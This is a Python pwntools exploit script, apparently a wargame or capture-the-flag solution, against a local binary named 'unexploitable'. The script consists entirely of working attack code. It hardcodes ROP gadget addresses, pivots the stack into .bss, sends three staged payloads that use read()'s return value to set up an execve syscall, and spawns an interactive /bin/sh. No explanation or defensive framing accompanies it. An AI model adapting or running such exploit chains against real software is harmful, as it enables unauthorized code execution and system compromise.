#!/usr/bin/env python # coding=utf8 from pwn import p64, process, ELF from time import sleep EXECUTABLE = '/home/unexploitable/unexploitable' elf = ELF(EXECUTABLE) junk = 0xdeadbeef syscall_addr = 0x400560 # 0f 0a(syscall) pop_junk_rbx_rbp_r12_r13_r14_r15_ret = 0x4005e6 mov_call = 0x4005d0 pop_rbp_ret = 0x400512 read_ret = 0x40055b bss_addr = elf.bss() rbp_base = bss_addr + 0x10 syscall_ptr = rbp_base + 8 * 10 sh_str_addr = rbp_base + 8 * 11 # pop_junk_rbx_rbp_r12_r13_r14_r15_ret then call syscall syscall_chain = p64(junk) + p64(0) + p64(junk) + p64(syscall_ptr) syscall_chain += p64(sh_str_addr) + p64(0) + p64(0) syscall_chain += p64(mov_call) syscall_chain += p64(syscall_addr) + '/bin/sh\x00' # point rbp to .bss and read again payload1 = 'A' * 0x10 payload1 += p64(rbp_base) payload1 += p64(read_ret) # prepare last bytes of syscall_chain payload2 = 'A' * 0x10 payload2 += p64(rbp_base) + p64(read_ret) payload2 += 'B' * (0x3b-0x10-2*8) payload2 += syscall_chain[0x3b-0x10-2*8:] # set rax to 0x3b using the return value of read() # and prepare first bytes of syscall_chain payload3 = 'A' * 0x10 payload3 += p64(junk) + p64(pop_junk_rbx_rbp_r12_r13_r14_r15_ret) payload3 += syscall_chain[:0x3b-0x10-2*8] p = process(EXECUTABLE) sleep(3) p.send(payload1) sleep(0.1) p.send(payload2) sleep(0.1) p.send(payload3) p.interactive()